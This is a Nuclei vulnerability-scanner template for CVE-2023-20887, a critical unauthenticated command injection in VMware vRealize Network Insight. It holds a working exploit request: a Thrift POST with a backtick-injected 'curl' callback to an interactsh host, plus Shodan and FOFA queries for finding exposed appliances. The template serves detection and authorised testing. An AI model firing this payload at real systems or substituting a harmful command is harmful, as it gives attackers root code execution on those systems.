id: CVE-2023-20887 info: name: VMware VRealize Network Insight - Remote Code Execution author: sinsinology severity: critical description: | VMWare Aria Operations for Networks (vRealize Network Insight) is vulnerable to command injection when accepting user input through the Apache Thrift RPC interface. This vulnerability allows a remote unauthenticated attacker to execute arbitrary commands on the underlying operating system as the root user. The RPC interface is protected by a reverse proxy which can be bypassed. VMware has evaluated the severity of this issue to be in the Critical severity range with a maximum CVSSv3 base score of 9.8. A malicious actor can get remote code execution in the context of 'root' on the appliance. VMWare 6.x version are vulnerable. reference: - https://www.vmware.com/security/advisories/VMSA-2023-0012.html - https://summoning.team/blog/vmware-vrealize-network-insight-rce-cve-2023-20887/ - https://github.com/sinsinology/CVE-2023-20887 - https://www.vmware.com/security/advisories/VMSA-2023-0012.html classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L cvss-score: 9.8 cve-id: CVE-2023-20887 epss-score: 0.00172 metadata: max-request: 1 verified: true shodan-query: title:"VMware vRealize Network Insight" fofa-query: title="VMware vRealize Network Insight" tags: cve,cve2023,vmware,rce,msf,vrealize,insight,oast variables: cmd: "curl {{interactsh-url}}" http: - raw: - | POST /saas./resttosaasservlet HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-thrift [1,"createSupportBundle",1,0,{"1":{"str":"1111"},"2":{"str":"`{{cmd}}`"},"3":{"str":"value3"},"4":{"lst":["str",2,"AAAA","BBBB"]}}] matchers-condition: and matchers: - type: word part: body words: - '{"rec":' - type: word part: header words: - "application/x-thrift" - type: status status: - 200 - type: word part: body words: - "Provided invalid node Id" - "Invalid nodeId" negative: true